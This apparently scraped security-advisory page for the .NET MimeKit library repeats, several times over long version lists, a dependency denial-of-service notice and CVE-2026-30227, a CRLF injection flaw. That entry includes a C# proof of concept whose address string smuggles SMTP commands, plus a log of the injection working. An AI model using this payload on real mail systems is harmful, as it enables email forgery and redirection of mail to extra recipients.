            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Nov 25, 2022

3.4.2 patch

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Oct 24, 2022

3.4.1 patch

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Sep 12, 2022

3.4.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
